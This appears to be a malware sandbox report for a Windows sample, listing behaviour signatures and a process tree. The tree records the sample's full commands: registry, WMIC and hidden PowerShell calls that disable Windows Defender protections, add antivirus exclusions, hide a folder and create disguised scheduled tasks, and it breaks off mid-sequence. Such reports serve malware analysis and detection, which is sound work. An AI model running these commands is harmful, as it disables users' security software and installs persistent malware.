Analysis
- max time kernel
151s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
13/11/2026, 20:02
General
- Target 2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe
- Size 34.4MB
- Sample261113-yr8feaf131
- SHA256 41d47b07a7911e035fae20b72be45b15bb99c552e1d7f021341999276baeb2f6
Score
10/10
Malware Config
Signatures
- Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
- Modifies Windows Defender notification settings 3 TTPs 6 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 TTPs 1 IoCs
- Custom signatureDetect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 9 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 27 IoCs
Run Powershell and hide display window.
- Downloads MZ/PE file 4 IoCs
- Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Creates new service(s) 2 TTPs
- Executes dropped EXE 9 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Stops running service(s) 4 TTPs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 64 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- Modifies registry key 1 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
-
C:\Users\Admin\AppData\Local\Temp\2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe"2⤵
- Downloads MZ/PE file
- Creates a file in the Startup directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\net.exeC:\Windows\System32\net.exe session3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session4⤵
-
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender notification settings
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender notification settings
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender notification settings
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\UX Configuration" /v Notification_Suppress /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance /v Enabled /t REG_DWORD /d 0 /f3⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.StartupApp /v Enabled /t REG_DWORD /d 0 /f3⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBehaviorMonitoring=True3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableIOAVProtection=True3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set DisableBlockAtFirstSight=True3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Set -Arguments @{DisableBlockAtFirstSight=$true}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set MAPSReporting=03⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Set SubmitSamplesConsent=23⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Temp\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v C:\Users\Admin\AppData\Local\Temp\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Temp\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Temp\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Temp\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Temp\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Temp\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v C:\Users\Admin\AppData\Local\Temp\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Temp\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Temp\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Temp\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Temp\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Windows\Temp\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit Guard\ASR\ASROnlyExclusions" /v C:\Windows\Temp\ /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Windows\Temp\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Windows\Temp\')}"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Windows\Temp\\\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Windows\Temp\')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /v C:\Users\Admin\AppData\Local\Temp\2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"C:\Users\Admin\AppData\Local\Temp\2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('C:\Users\Admin\AppData\Local\Temp\2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /v 2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('2026-11-13_f18e54e6853bac90abadb71b0a500886_cobalt-strike_coinminer_glassworm_icedid_njrat_satacom_stealc_vidar_zxxz.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\gpupdate.exeC:\Windows\System32\gpupdate.exe /force3⤵
-
-
C:\Windows\System32\attrib.exeC:\Windows\System32\attrib.exe +s +h C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA963⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /create /tn "Phone Ink Task" /tr "\"C:\Users\Admin\AppData\Local\Adobe\CommonFiles\LocalState\EB60FA96\CortanaRuntimeHelper.exe\"" /sc onlogon /rl highest /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /query /tn "Phone Ink Task"3⤵
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"0c4xazk5c6.exe\""3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('0c4xazk5c6.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /v C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exeC:\Users\Admin\AppData\Local\Temp\0c4xazk5c6.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn "Phone Display Task" /tr "\"C:\Users\Admin\AppData\Local\Realtek\AppCache\Logs\02EB2459\StickyNotesLocaleAgent.exe\" /sc minute /mo 1 /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Realtek\AppCache\Logs\02EB2459\StickyNotesLocaleAgent.exe"C:\Users\Admin\AppData\Local\Realtek\AppCache\Logs\02EB2459\StickyNotesLocaleAgent.exe"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: AddClipboardFormatListener
-
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"9aazyvmlmrk.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('9aazyvmlmrk.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "AttackSurfaceReductionOnlyExclusions=\"C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{AttackSurfaceReductionOnlyExclusions=@('C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Processes" /v C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe /t REG_DWORD /d 0 /f3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exeC:\Users\Admin\AppData\Local\Temp\9aazyvmlmrk.exe3⤵
- Executes dropped EXE
- Registers new Windows logon scripts automatically executed at logon.
-
C:\Users\Admin\AppData\Local\Realtek\System\Cache\35307B05\YourPhoneBackgroundBroker.exe"C:\Users\Admin\AppData\Local\Realtek\System\Cache\35307B05\YourPhoneBackgroundBroker.exe"4⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
-
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionPath=\"C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionPath=@('C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "Invoke-CimMethod -Namespace root/Microsoft/Windows/Defender -ClassName MSFT_MpPreference -MethodName Add -Arguments @{ExclusionProcess=@('C:\Users\Admin\AppData\Local\Temp\dpl3zztji.exe')}"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\wbem\WMIC.exeC:\Windows\System32\wbem\WMIC.exe /namespace:\\root\Microsoft\Windows\Defender path MSFT_MpPreference call Add "ExclusionProcess=\"dpl3zztji.exe\""3⤵
- Reads the TCP/IP host and domain name from the registry
-
-
